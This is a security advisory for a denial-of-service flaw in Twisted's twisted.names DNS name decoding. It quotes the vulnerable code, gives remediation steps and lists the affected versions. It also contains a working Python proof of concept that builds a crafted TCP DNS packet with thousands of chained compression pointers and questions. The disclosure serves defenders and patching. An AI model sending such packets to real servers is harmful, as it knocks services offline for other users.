GHSA-grgv-6hw6-v9g4

Suggest an improvement
Source
https://github.com/advisories/GHSA-grgv-6hw6-v9g4
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-grgv-6hw6-v9g4/GHSA-grgv-6hw6-v9g4.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-grgv-6hw6-v9g4
Aliases
Downstream
CGA (4)
Published
2026-05-05T21:12:37Z
Modified
2026-09-10T03:51:05Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains
Details

Details

The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.


Technical Details

The main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.

Because DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.

##  src/twisted/names/dns.py (Lines 595-631)

def decode(self, strio, length=None):
        visited = set()
        self.name = b""
        off = 0
        while 1:
            l = ord(readPrecisely(strio, 1))
            if l == 0:
                if off > 0:
                    strio.seek(off)
                return
            if (l >> 6) == 3:
                new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))
                if new_off in visited:
                    raise ValueError("Compression loop in encoded name")
                visited.add(new_off)
                if off == 0:
                    off = strio.tell()
                strio.seek(new_off)
                continue
            label = readPrecisely(strio, l)
            if self.name == b"":
                self.name = label
            else:
                self.name = self.name + b"." + label


PoC

import struct, time
from twisted.names import dns, server
from twisted.test import proto_helpers

def create_tcp_payload():
    num_pointers = 8000
    packet_length = 65533
    num_questions = (packet_length - (num_pointers * 2) - 12) // 6

    buffer = bytearray(packet_length)

    struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0)

    ptr_offset = 12
    for _ in range(num_pointers - 1):
        struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))
        ptr_offset += 2

    null_byte_offset = ptr_offset + 2
    struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset)
    buffer[null_byte_offset] = 0

    question_offset = null_byte_offset + 1
    for _ in range(num_questions):
        if question_offset + 6 <= packet_length:
            struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1)
            question_offset += 6

    return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer

def test_dns_server():
    factory = server.DNSServerFactory(clients=[])
    protocol = factory.buildProtocol(("127.0.0.1", 10053))
    transport = proto_helpers.StringTransport()
    protocol.makeConnection(transport)

    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()
    print("payload")
    print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}")

    start = time.time()
    protocol.dataReceived(payload)
    end = time.time()

    print(f"time={end - start:.4f}s")

if __name__ == "__main__":
    test_dns_server()

Impact

A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.


Remediation

  • Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message
  • Share the "resolved offset" state across all records in a single message to prevent redundant processing.
  • Validate the number of questions before entering the decoding loop in Message.decode.

Resources

https://cwe.mitre.org/data/definitions/400.html

https://cwe.mitre.org/data/definitions/407.html

https://datatracker.ietf.org/doc/html/rfc9267

https://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595

https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09


Author: Tomas Illuminati

Database specific
{
    "cwe_ids":  [
        "CWE-400",
        "CWE-407"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-05-05T21:12:37Z",
    "nvd_published_at":  "2026-05-13T21:16:46Z",
    "severity":  "HIGH"
}
References

Affected packages

PyPI / twisted

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
26.4.0rc2

Affected versions

1.*
1.0.1
1.0.3
1.0.4
1.0.5
1.0.6
1.0.7
1.1.0
1.1.1
1.2.0
2.*
2.1.0
2.4.0
2.5.0
8.*
8.0.0
8.0.1
8.1.0
8.2.0
9.*
9.0.0
10.*
10.0.0
10.1.0
10.2.0
11.*
11.0.0
11.1.0
12.*
12.0.0
12.1.0
12.2.0
12.3.0
13.*
13.0.0
13.1.0
13.2.0
14.*
14.0.0
14.0.1
14.0.2
15.*
15.0.0
15.1.0
15.2.0
15.2.1
15.3.0
15.4.0
15.5.0
16.*
16.0.0
16.1.0
16.1.1
16.2.0
16.3.0
16.3.1
16.3.2
16.4.0
16.4.1
16.5.0rc1
16.5.0rc2
16.5.0
16.6.0rc1
16.6.0
16.7.0rc1
16.7.0rc2
17.*
17.1.0rc1
17.1.0
17.5.0
17.9.0rc1
17.9.0
18.*
18.4.0rc1
18.4.0
18.7.0rc1
18.7.0rc2
18.7.0
18.9.0rc1
18.9.0
19.*
19.2.0rc1
19.2.0rc2
19.2.0
19.2.1
19.7.0rc1
19.7.0
19.10.0rc1
19.10.0
20.*
20.3.0rc1
20.3.0
21.*
21.2.0rc1
21.2.0
21.7.0rc1
21.7.0rc2
21.7.0rc3
21.7.0
22.*
22.1.0rc1
22.1.0
22.2.0rc1
22.2.0
22.4.0rc1
22.4.0
22.8.0rc1
22.8.0
22.10.0rc1
22.10.0
23.*
23.8.0rc1
23.8.0
23.10.0rc1
23.10.0
24.*
24.2.0rc1
24.3.0
24.7.0rc1
24.7.0rc2
24.7.0
24.10.0rc1
24.10.0
24.11.0rc1
24.11.0rc2
24.11.0
25.*
25.5.0rc1
25.5.0

Database specific

last_known_affected_version_range
"<= 25.5.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-grgv-6hw6-v9g4/GHSA-grgv-6hw6-v9g4.json"